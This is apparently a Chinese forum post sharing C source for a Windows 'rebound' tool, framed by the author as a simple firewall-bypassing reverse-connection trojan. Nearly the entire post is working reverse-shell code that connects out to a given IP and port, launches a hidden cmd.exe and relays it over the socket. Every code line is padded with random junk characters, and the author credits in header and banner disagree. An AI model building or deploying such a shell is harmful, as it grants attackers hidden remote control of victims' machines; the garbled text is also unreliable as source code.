这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 gtV*`g
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/* ============================== f6zS_y9gn
Rebound port in Windows NT JW-!m8
By wind,2006/7 O)Mf/P'
===============================*/ "/}cV5=Z
#include ;IYH5sG{
#include KK4"H]!.
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#pragma comment(lib,"wsock32.lib") f:|O);nM
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void OutputShell(); {r2fIj~V
SOCKET sClient;
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char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; a#G]5TZ
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void main(int argc,char **argv) S|?Ht61k
{ &b7i> ()
WSADATA stWsaData; %1jApCJ
int nRet; *.ZU" 5e
SOCKADDR_IN stSaiClient,stSaiServer; JDy ;Jb
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if(argc != 3) <OC|z3na_
{ .&Ok53]b
printf("Useage:\n\rRebound DestIP DestPort\n"); /)E'%/"A
return; duk:: |{F
} KGoHn6jM
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WSAStartup(MAKEWORD(2,2),&stWsaData); ,t=12R]>
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 81<0B@E
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stSaiClient.sin_family = AF_INET; hpVu
stSaiClient.sin_port = htons(0); Qo;#}%}^^
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); )Mj
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) J\ V.J/
{ GxR, 3
printf("Bind Socket Failed!\n"); {BlKVsQ
return; Ud8*yB
} ,@'M'S
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stSaiServer.sin_family = AF_INET; >&3ATH;&(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); XgmblNp1
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); Lv{xwHnE
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) [Ifhh2
{ 8xEOR!\!`k
printf("Connect Error!"); f;"6I
return; 4fCg{
} :<$IGzw}.
OutputShell(); X&qa3C})
} 3]9twfF 'J
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void OutputShell() 4Dd7I
{ S=wJ{?gzAK
char szBuff[1024]; 2m?!!Weq
SECURITY_ATTRIBUTES stSecurityAttributes; 2iM8V
OSVERSIONINFO stOsversionInfo; n_Ka+Y<
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; AIXvS*Y,
STARTUPINFO stStartupInfo; WZ<kk T
char *szShell; 9C{\=?e;
PROCESS_INFORMATION stProcessInformation; 3koXM_4_{)
unsigned long lBytesRead; 3oCw(Ff
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ;5.o;|w?!
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); aumXidbS
stSecurityAttributes.lpSecurityDescriptor = 0; o,sw[
stSecurityAttributes.bInheritHandle = TRUE; Q&9%XF
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); OZ$"P<X_"
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ]%y~cq
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); zTa>MzH1-;
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 5w#*JK
stStartupInfo.wShowWindow = SW_HIDE; B~u_zZE
stStartupInfo.hStdInput = hReadPipe; DJ9;{,gm
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |;-,(509
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GetVersionEx(&stOsversionInfo); v^lR]9;
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switch(stOsversionInfo.dwPlatformId) g1uqsqYt
{ '1}rQq Z
case 1: ; YaR|)B
szShell = "command.com"; }bv0~}G4
break; / h6(!-"
default: Z`?<A da
szShell = "cmd.exe"; q-.e9eoc\
break; E00zf3Jgv'
} UEq;}4Bo
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); >q&Q4E0
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send(sClient,szMsg,77,0); ZHshg`I`
while(1) Te8BFcJG
{ id-VoHdK
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !j(KbAhWZ
if(lBytesRead) MGO.dRy_
{ p0.?R
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); n(Up?_
send(sClient,szBuff,lBytesRead,0); ^/W7Xd(s
} tH:K6^oR
else <(JsB'TK
{ n/"T7Y\2
lBytesRead=recv(sClient,szBuff,1024,0); JXlFo3<
if(lBytesRead<=0) break; v`hv5wQ
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); c4LBlLv4
} e^@/Bm+B
} H&L=WF+x
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return; oT5xe[{yj
}